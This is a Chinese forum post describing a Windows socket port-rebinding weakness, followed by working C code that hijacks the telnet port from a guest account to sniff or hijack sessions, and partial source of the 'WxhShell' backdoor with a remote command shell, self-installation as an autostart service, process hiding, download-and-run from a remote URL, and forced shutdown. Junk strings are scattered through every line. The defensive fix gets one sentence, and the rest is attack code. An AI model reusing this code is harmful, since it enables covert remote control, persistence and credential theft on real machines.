社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10810阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \!<"7=(J{4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /'4Q{8.a  
vL$|9|W(  
  saddr.sin_family = AF_INET; IcFK,y%1  
f>niFPW"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A#35]V06  
I8k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \i0-o8q@I  
A*F9\mj I5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nW GR5*e:  
x%6hM |U  
  这意味着什么?意味着可以进行如下的攻击: 3D[=b%2\  
O: JPJ"!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (B:uc_+  
{2:d` fqD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :G 5C ]'t  
6R2uWv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4%7s259%  
4.Z(:g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~^$MA$/p  
g\&2s,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =Z`0>R`  
>A($8=+#x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U Du~2%  
HN68!v}C|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cy3M^_5B<  
y9!:^kDI  
  #include M"(6&M=?  
  #include sJ~P:g  
  #include _2OuskL  
  #include    -!TcQzHUs  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D0ruTS  
  int main() TsD;Kl1  
  { A"4@L*QV  
  WORD wVersionRequested; 3ji:O T  
  DWORD ret; + |C=ZU  
  WSADATA wsaData; .S_QQM}Q  
  BOOL val; U5<@<j(@  
  SOCKADDR_IN saddr; o/1JO_41  
  SOCKADDR_IN scaddr; RZh}:  
  int err; (6R4 \8z2  
  SOCKET s; &@6 GI<  
  SOCKET sc; g$w6kz_[  
  int caddsize; j"hASBTgp  
  HANDLE mt; ;SY.WfVA7  
  DWORD tid;   t',BI  
  wVersionRequested = MAKEWORD( 2, 2 ); v=p0 +J>  
  err = WSAStartup( wVersionRequested, &wsaData ); ,|pp67  
  if ( err != 0 ) { B< hEx@  
  printf("error!WSAStartup failed!\n"); gxmc|  
  return -1; oZ:{@ =  
  } ?Y3@"rdR  
  saddr.sin_family = AF_INET; m}5q]N";x  
   \_VmY!I5\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5UO k)rOf  
"8HE^Po/pn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s$GF 95^  
  saddr.sin_port = htons(23); Spgg+;9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B 8{ uR  
  { jczq `yW  
  printf("error!socket failed!\n"); f xtxu?A>  
  return -1; o56kp3b)b  
  } w$>3pQ8d  
  val = TRUE; jBpVxv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }OrYpZob  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /DO'IHC.o  
  { Ttv'k*$cP  
  printf("error!setsockopt failed!\n"); O]qPmEj  
  return -1; v!trsjb  
  } `?uPn~,e8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #ElejQ|?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 u D(t`W"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VAKy^nR5j  
FkB{ SC J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1;Xgc@  
  { S$O,] @)  
  ret=GetLastError(); +(mL~td01  
  printf("error!bind failed!\n"); dJl^ADX[@  
  return -1; c7qwNs*f  
  } [ H,u)8)  
  listen(s,2); !8$RBD %  
  while(1) vg(K$o{BT  
  { maDz W_3  
  caddsize = sizeof(scaddr); *#2Rvt*Ox  
  //接受连接请求 z*LiweR-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hZN<Yd8:  
  if(sc!=INVALID_SOCKET) io4aYB\  
  { &Rp"rMeW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -t4 [oB  
  if(mt==NULL) e<5Y94YE  
  { <TxC!{<  
  printf("Thread Creat Failed!\n"); lLCdmxbT  
  break; <*Y'lV  
  } K"l0w**Og#  
  } GZ8:e3ri  
  CloseHandle(mt); X/+OF'po  
  } 0{R/<N  
  closesocket(s); L'9N9CR{i  
  WSACleanup(); *IZf^-=Q  
  return 0; HarFE4V  
  }   R0<< f]  
  DWORD WINAPI ClientThread(LPVOID lpParam)  U:|H9+5  
  { J&6:d  
  SOCKET ss = (SOCKET)lpParam; Gzm$OHbn  
  SOCKET sc; o~C('1Fdb  
  unsigned char buf[4096]; ez*jjm  
  SOCKADDR_IN saddr; iP "EA8  
  long num; =nVmthGw  
  DWORD val; n )K6i7]xk  
  DWORD ret; \!H{Ks{#R.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B*@6xS[IL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~m`!;rE  
  saddr.sin_family = AF_INET; V8"Wpl9Cz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0YS?=oi  
  saddr.sin_port = htons(23); O3%[dR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s#^pC*,'  
  { k/lFRi-i  
  printf("error!socket failed!\n"); iZ; TYcT  
  return -1; np6HUH  
  } >V!LitdJ  
  val = 100; sR*Nq5F#9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '[Gm8K5  
  { Y\?j0X;  
  ret = GetLastError(); arh@`'Q  
  return -1; |F!F{d^p  
  } E _iO@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mU G %LM  
  { `="v>qN2\  
  ret = GetLastError(); 7GZq|M_:y  
  return -1; G|9B )`S  
  } z{?4*Bq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yP\Up  
  { T:!MBWYe|  
  printf("error!socket connect failed!\n"); 5 09Q0 [k  
  closesocket(sc); QnKC#   
  closesocket(ss); _Bk U+=|J  
  return -1; )saR0{e0N  
  } tWD|qg_  
  while(1) 9?`RR/w  
  { 'IQsve7cI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xb$yu.c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yFM>T\@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OVswt  
  num = recv(ss,buf,4096,0); dZ2`{@AYY  
  if(num>0) 9 P"iuU  
  send(sc,buf,num,0); Oif,|:  
  else if(num==0) Vxh.<b6&'  
  break; :oa9#c`L  
  num = recv(sc,buf,4096,0); p|VcMxT9-  
  if(num>0) &" h]y?Q  
  send(ss,buf,num,0); LprM;Q_  
  else if(num==0) =! m JG  
  break; vA-PR&  
  } 3] 76fF\^[  
  closesocket(ss); {XnPx? V  
  closesocket(sc); Lk.h.ST  
  return 0 ; 7B FN|S_l  
  } QN G&  
*fhX*e8y  
_t-7$d"  
========================================================== f a5]a  
;$!I&<)  
下边附上一个代码,,WXhSHELL aWaw&u  
a %K}j\M  
========================================================== )HVcG0H1  
Tsz NlRxc  
#include "stdafx.h" D ,M@8 h,  
M|%c(K#E,3  
#include <stdio.h> lbkL yp2  
#include <string.h> #T% zfcUj  
#include <windows.h> _413\`%8?  
#include <winsock2.h> xzk}[3P{  
#include <winsvc.h> z="L4  
#include <urlmon.h> $D_HZ"ytu  
JR1 *|u  
#pragma comment (lib, "Ws2_32.lib") H/jm f5  
#pragma comment (lib, "urlmon.lib") l{%a&/  
Y';>O`  
#define MAX_USER   100 // 最大客户端连接数 \4s;!R!  
#define BUF_SOCK   200 // sock buffer )Au&kd-W@(  
#define KEY_BUFF   255 // 输入 buffer B8~= RmWLl  
`&g:d E(j  
#define REBOOT     0   // 重启 yJ/#"z=h?  
#define SHUTDOWN   1   // 关机 #s+Q{2s  
%#k,6 ;m  
#define DEF_PORT   5000 // 监听端口 |Fv?6qw+  
2k+16/T  
#define REG_LEN     16   // 注册表键长度 -e*BqH2t  
#define SVC_LEN     80   // NT服务名长度 v2J0u:#,  
Q!$IQJ]|Y  
// 从dll定义API D'L{wm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  ;Qa;@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); detLjlE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &O tAAE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); og-]tEWA1  
-1 W  
// wxhshell配置信息 yXF|Sqv  
struct WSCFG { &r@H(}$1\  
  int ws_port;         // 监听端口 !Z s,-=^D  
  char ws_passstr[REG_LEN]; // 口令 295w.X(J  
  int ws_autoins;       // 安装标记, 1=yes 0=no rJ(OAKnY  
  char ws_regname[REG_LEN]; // 注册表键名 7a<_BJXx  
  char ws_svcname[REG_LEN]; // 服务名 xNgt[fLpS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n`<U"$*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (,LL[&;:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'F5)ACA%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  :]c=pH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]kS7n @8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RWikJ   
`d*b]2  
}; .B$h2#i1  
a:u}d7T3e  
// default Wxhshell configuration ]u=Ca#!'  
struct WSCFG wscfg={DEF_PORT, h7?.2Q&S  
    "xuhuanlingzhe", H8i+'5x,?  
    1, ;3 UvkN  
    "Wxhshell", 3;y_mg  
    "Wxhshell", E@pFTvo  
            "WxhShell Service", 1nB@zBQu -  
    "Wrsky Windows CmdShell Service", sqG`"O4W  
    "Please Input Your Password: ", xF8 :^'  
  1, DHzkRCM  
  "http://www.wrsky.com/wxhshell.exe", 7;xKy'B\  
  "Wxhshell.exe" q\H7& w  
    }; JZ K7uB,X  
xG%*PNM0q  
// 消息定义模块 F+*Q <a4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %6]\^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4oJ$dN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U**)H_S/~  
char *msg_ws_ext="\n\rExit."; Nza; O[  
char *msg_ws_end="\n\rQuit."; 0yTQ{'Cc  
char *msg_ws_boot="\n\rReboot..."; JS7dsO0;  
char *msg_ws_poff="\n\rShutdown..."; (C\r&N  
char *msg_ws_down="\n\rSave to "; *?N<S$m  
<E}N=J'uJ  
char *msg_ws_err="\n\rErr!"; )ddsyFGW  
char *msg_ws_ok="\n\rOK!"; P6we(I`"2  
xid:"y=_&  
char ExeFile[MAX_PATH]; \7 Mq $d  
int nUser = 0; ~:Ixmqi}R  
HANDLE handles[MAX_USER]; q^6N+^}QN  
int OsIsNt; #=x+ [d+  
& rQD`E/  
SERVICE_STATUS       serviceStatus; |EeBSRAfe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wlVvxX3%  
BWEv1' v  
// 函数声明 M=+M8M`Iy  
int Install(void); 7j T}{ x  
int Uninstall(void); :c<*%*e  
int DownloadFile(char *sURL, SOCKET wsh); SG`)PW?  
int Boot(int flag); #eLN1q&Z  
void HideProc(void); O PiaG!3<  
int GetOsVer(void); M.[wKGX(  
int Wxhshell(SOCKET wsl); K;C_Z/<%  
void TalkWithClient(void *cs); VN+\>j-  
int CmdShell(SOCKET sock); w, 7Cr  
int StartFromService(void); z1Q2*:)c  
int StartWxhshell(LPSTR lpCmdLine); p1^0{ILx  
lh$CWsx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @+t (xCv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i;]CL[#2e`  
{Zwf..,  
// 数据结构和表定义 8KKz5\kn7  
SERVICE_TABLE_ENTRY DispatchTable[] = k_O-5{  
{ >13/h]3  
{wscfg.ws_svcname, NTServiceMain}, 4k$0CbHx0  
{NULL, NULL} H;wR  
}; 4cB&Hk  
B_tQeM  
// 自我安装 kp; &cQu!  
int Install(void) p z @km  
{ 1M/$< kQ-N  
  char svExeFile[MAX_PATH]; tQ[]Rc  
  HKEY key; X~zRZ0  
  strcpy(svExeFile,ExeFile); [Q:f-<nH  
to51hjV  
// 如果是win9x系统,修改注册表设为自启动 hiIya WU  
if(!OsIsNt) { ,`"K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +,wWhhvlzv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _XWnS9  
  RegCloseKey(key); <S{7Ro  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e?1KbJ?.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m0C{SBn-M  
  RegCloseKey(key); +9_,w bF  
  return 0; '$*[SauAG  
    } D&f!( n  
  } %r P !  
} WP!il(Gr  
else { F-tFet  
dm  2EH  
// 如果是NT以上系统,安装为系统服务 N-Z^G<[q.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,\}k~ U99  
if (schSCManager!=0) % GVN4y&  
{ ) H+d.Y  
  SC_HANDLE schService = CreateService ETg{yBsp  
  ( _j>L4bT  
  schSCManager, h[,XemwX  
  wscfg.ws_svcname, Oc~VHT  
  wscfg.ws_svcdisp, GjLW`>  
  SERVICE_ALL_ACCESS, lfgtcR{l5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S2bexbp0o  
  SERVICE_AUTO_START, Kk>DYHZ6y  
  SERVICE_ERROR_NORMAL, sy=dY@W^  
  svExeFile, ( mt*y]p?  
  NULL, )WclV~  
  NULL, i=V-@|Z  
  NULL, |C4o zl=O?  
  NULL, Fq4lXlSB  
  NULL [brkx3h  
  ); UT~4Cfb  
  if (schService!=0) `xGT_0&ck  
  { \eT/%$  
  CloseServiceHandle(schService); 3wo'jOb  
  CloseServiceHandle(schSCManager); c`pYc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ovSH}h!  
  strcat(svExeFile,wscfg.ws_svcname); "G@E6{/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ' rvE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /wlFD,+8  
  RegCloseKey(key); I[%M!_+  
  return 0; ILNXaJ'0a  
    } 5E0wn'  
  } D>S8$]^Dm  
  CloseServiceHandle(schSCManager); '?b\F~$8  
} <a fO 6?`  
} &AJUY()8  
oo\IS\  
return 1; Gj*SPU  
} yduuFK  
wZ O@J|  
// 自我卸载 yE<,Z%J[n  
int Uninstall(void) oLd:3,p}  
{ 1Lc8fP$  
  HKEY key; 0a@c/ XGBp  
CxkMhd8qz  
if(!OsIsNt) { 1NW>wo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >I|<^$/  
  RegDeleteValue(key,wscfg.ws_regname); 1B(G]o_>!  
  RegCloseKey(key); PH[4y:^DN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i:{:xKiCa  
  RegDeleteValue(key,wscfg.ws_regname); IE|, ~M2  
  RegCloseKey(key); fmBkB8  
  return 0; >r~|1kQ.  
  } /K[]B]1NE  
} d;<.;Od$`  
} $.;iu2iyo  
else { aI 7Xq3  
k 5t{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'Z y{mq\  
if (schSCManager!=0) +<z7ds{Z  
{ fs7~NY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2nJYS2mT7  
  if (schService!=0) x~%\y  
  { &hO$4qtN  
  if(DeleteService(schService)!=0) { 0:jsV|5B8  
  CloseServiceHandle(schService); KoFv0~8Q  
  CloseServiceHandle(schSCManager); ? 1GJa]G  
  return 0; TX&[;jsj  
  } sFCf\y  
  CloseServiceHandle(schService); K[n<+e;G  
  } \Ec X!aC  
  CloseServiceHandle(schSCManager); ~R)1nN|  
} =1eV   
} vu44!c@  
UC.8DaIPN  
return 1; DhHtz.6  
} N-Qu/,~+  
x4@MO|C  
// 从指定url下载文件  GsI[N%  
int DownloadFile(char *sURL, SOCKET wsh) a$A2IkD  
{ xJ$Rs/9C  
  HRESULT hr; haN"/C^  
char seps[]= "/"; 7(H ?k  
char *token; 9#Z zE/  
char *file; :J<Owh@  
char myURL[MAX_PATH]; 8 qn{  
char myFILE[MAX_PATH]; g~eJ YS,  
HhzkMJR8  
strcpy(myURL,sURL); r}Ltv?4  
  token=strtok(myURL,seps); nMLU-C!t  
  while(token!=NULL) Sb^add0dT  
  { {n pOlV  
    file=token; ,nI_8r"M>  
  token=strtok(NULL,seps); .V7Y2!4TE  
  } <1TlW ~q<  
ZBPd(;"x+  
GetCurrentDirectory(MAX_PATH,myFILE); j )<;g(  
strcat(myFILE, "\\"); b!0'Qidh0  
strcat(myFILE, file); }#1U D  
  send(wsh,myFILE,strlen(myFILE),0); er#8D6*  
send(wsh,"...",3,0); kx:c*3q.k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S_a :ML<  
  if(hr==S_OK) 8moUK3w  
return 0; ?0? x+  
else 7ZL,p:f  
return 1; !Jk(&.  
MiRibHXI,  
} fLLnf].O  
y?[5jL|Ue  
// 系统电源模块 pM1=U F  
int Boot(int flag) od;Bb  
{ d&O'r[S  
  HANDLE hToken; #( $k 3OA  
  TOKEN_PRIVILEGES tkp; oXnC "y}0P  
5w]DncdQ~  
  if(OsIsNt) { Q]yV:7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L[`R8n1C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SJso'6 g  
    tkp.PrivilegeCount = 1; K-N]h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A9NOeE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +8MW$ m$  
if(flag==REBOOT) { +8L(pMI4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NEjPU#@c  
  return 0; :(5]Z^  
} er&uC4Y]a  
else {  JsZAP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %@M00~-  
  return 0; AGw1Pl8]K  
}  EGp~Vo-  
  } WZfk}To1#  
  else { nXx6L!HJ#  
if(flag==REBOOT) { p ~,a=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |#Yu.c*  
  return 0; eD>-`'7<  
} }S'I DHla  
else { Km|9Too  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Zm"!E6`69  
  return 0; h;cB_6vt  
} `I]1l MJ)o  
} w`H.ey  
[Q2S3szbt6  
return 1; 7j9D;_(.^$  
} o=mq$Z:}  
0X ] ekq  
// win9x进程隐藏模块 T4%i`<i  
void HideProc(void) WZ-4^WM=!  
{ DDqC}l_  
qat45O4A1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {hW +^  
  if ( hKernel != NULL ) ~9`^72  
  { r6gt9u:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @m !9"QhC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @&nx;K6h  
    FreeLibrary(hKernel); ^.pE`l%1}  
  } [ZL r:2+z  
N7RG5?  
return; .{'Uvn  
} UUdu;3E=5  
*IMF4 x5M  
// 获取操作系统版本 a}[=_vb}K  
int GetOsVer(void) ')1}#V/I  
{ r| 6S  
  OSVERSIONINFO winfo; eR#gG^o8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?3B t ;<^  
  GetVersionEx(&winfo); a<a&6 3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #cSw"A  
  return 1; e)ZyTuj  
  else } kh/mq  
  return 0; +O.&64(  
} Egjk^:@  
iOX4Kl  
// 客户端句柄模块 YW4b m  
int Wxhshell(SOCKET wsl) _{2Fx[m%  
{ D@sx`H(  
  SOCKET wsh; `JY>v io  
  struct sockaddr_in client; |p=.Gg=2  
  DWORD myID; $v?! 6:  
,J`lr U0  
  while(nUser<MAX_USER) 5'{qEZs^QU  
{ :*F3  
  int nSize=sizeof(client); Nj3^"}V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s)o ,Fi  
  if(wsh==INVALID_SOCKET) return 1; k#IS ,NKE  
1drqWI~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); web8QzLLB  
if(handles[nUser]==0) {"gyXDE1  
  closesocket(wsh); Xn ZX *Y]"  
else 7(+OsE  
  nUser++; R&x7Iq:=D  
  } ]P}K3tN%]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &bS"N)je  
@gu77^='  
  return 0; }jyS\drJ  
} xsY>{/C  
dEAAm=K,<  
// 关闭 socket =Nv= Q mO  
void CloseIt(SOCKET wsh) =yhn8t7@]  
{ N,sqrk]  
closesocket(wsh); OH!$5FEc  
nUser--; vxzf[  
ExitThread(0); d <|lLNS  
} cc2oFn  
H>X\C;X[  
// 客户端请求句柄 CwEWW\Bu  
void TalkWithClient(void *cs) w ;s ]n  
{ +qSr=Y:+  
#0YzPMV  
  SOCKET wsh=(SOCKET)cs; Ck/_UY|  
  char pwd[SVC_LEN]; D<D k1  
  char cmd[KEY_BUFF]; M|Lw`?T  
char chr[1]; cV=_G E  
int i,j; bH WvKv+  
#BT6bH08X  
  while (nUser < MAX_USER) { Fy(nu-W  
die2<'\4%  
if(wscfg.ws_passstr) {  K+`-[v5\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !rsqr32]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QE{;M  
  //ZeroMemory(pwd,KEY_BUFF); dPyBY ]`  
      i=0;  z7.C\l  
  while(i<SVC_LEN) { v{rK_jq  
MLv.v&@S  
  // 设置超时 VT.{[Kl  
  fd_set FdRead;  8H%I|fm  
  struct timeval TimeOut; g_Dt} !A\B  
  FD_ZERO(&FdRead); thZ@Br O#  
  FD_SET(wsh,&FdRead); d'x<F[`O  
  TimeOut.tv_sec=8; "e7$q&R |  
  TimeOut.tv_usec=0; F)<G]i8n~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h2/1S{/n]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hOrk^iYN=  
+ k(3+b$S-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) R a/  
  pwd=chr[0]; RwE*0 T  
  if(chr[0]==0xd || chr[0]==0xa) { 5S-o 2a  
  pwd=0; SFk11  
  break; `9Q,=D+  
  }  /nD0hb  
  i++; M5ySs\O4  
    } lA Ck$E  
x}8T[  
  // 如果是非法用户,关闭 socket Zh~Lm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +O!M>  
} %6c*dy  
}2!5#/^~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vA7jZw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I ;11j  
D-+)M8bt  
while(1) { @|UIV  
C+#;L+$Gi  
  ZeroMemory(cmd,KEY_BUFF); tx1m36a"  
5dNf$a0E  
      // 自动支持客户端 telnet标准   7^t(RNq  
  j=0; neY=:9  
  while(j<KEY_BUFF) { PHiX:0zT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w<F;&' ;@h  
  cmd[j]=chr[0]; )zLS,/pk^  
  if(chr[0]==0xa || chr[0]==0xd) { f w>Gx9  
  cmd[j]=0; M_.,c Vk  
  break; tU2to V  
  } 8|-mzb&  
  j++; t1{%FJ0F  
    } Qpv}N*v^  
f$S QhK5`  
  // 下载文件 +8vzkfr3It  
  if(strstr(cmd,"http://")) { 7Ae,|k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >~wk  
  if(DownloadFile(cmd,wsh)) 3f2Hjk7,d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }vxH)U6$q  
  else (h>X:!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sr($Bw  
  } \`%Y-!H+v  
  else { QVRokI`BF  
DEwtP  
    switch(cmd[0]) { -.Pu5et4  
  Wo WM  
  // 帮助 T# _n-b>  
  case '?': { DGfQo5#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,ZP3F+XKb  
    break; >\oJ&gdc  
  } I&NpN~AU  
  // 安装 !%\To(r[  
  case 'i': { rs<&x(=Hv  
    if(Install()) \gzwsT2&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rd1ku=  
    else `0G.Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Fj#7VZK  
    break; pA,EUh| H  
    } uj1E* 98m  
  // 卸载 3(GrDO9^  
  case 'r': { [oN> :  
    if(Uninstall()) I7z]%Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W*DIW;8p  
    else >]Yha}6h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZO0]+Ko  
    break; E+c3KqM  
    } z&vms   
  // 显示 wxhshell 所在路径 Qu>zO!x  
  case 'p': { rn5g+%jX*  
    char svExeFile[MAX_PATH]; UoS;!}l  
    strcpy(svExeFile,"\n\r"); ]XafFr6pe  
      strcat(svExeFile,ExeFile); 0V,MDX}#_  
        send(wsh,svExeFile,strlen(svExeFile),0); HXV73rDA  
    break; Di"9 M(6vf  
    } (cA|N0  
  // 重启 L(n~@ gq  
  case 'b': { Jx>B %vZ\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pD6g+Taj  
    if(Boot(REBOOT)) ;I))gY-n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DfzUGX  
    else { l5OV!<7~X  
    closesocket(wsh); iai4$Y(%  
    ExitThread(0); u,,WD  
    } Hi" n GH  
    break; Z#t)Z "  
    } 6F&]Mk]V8  
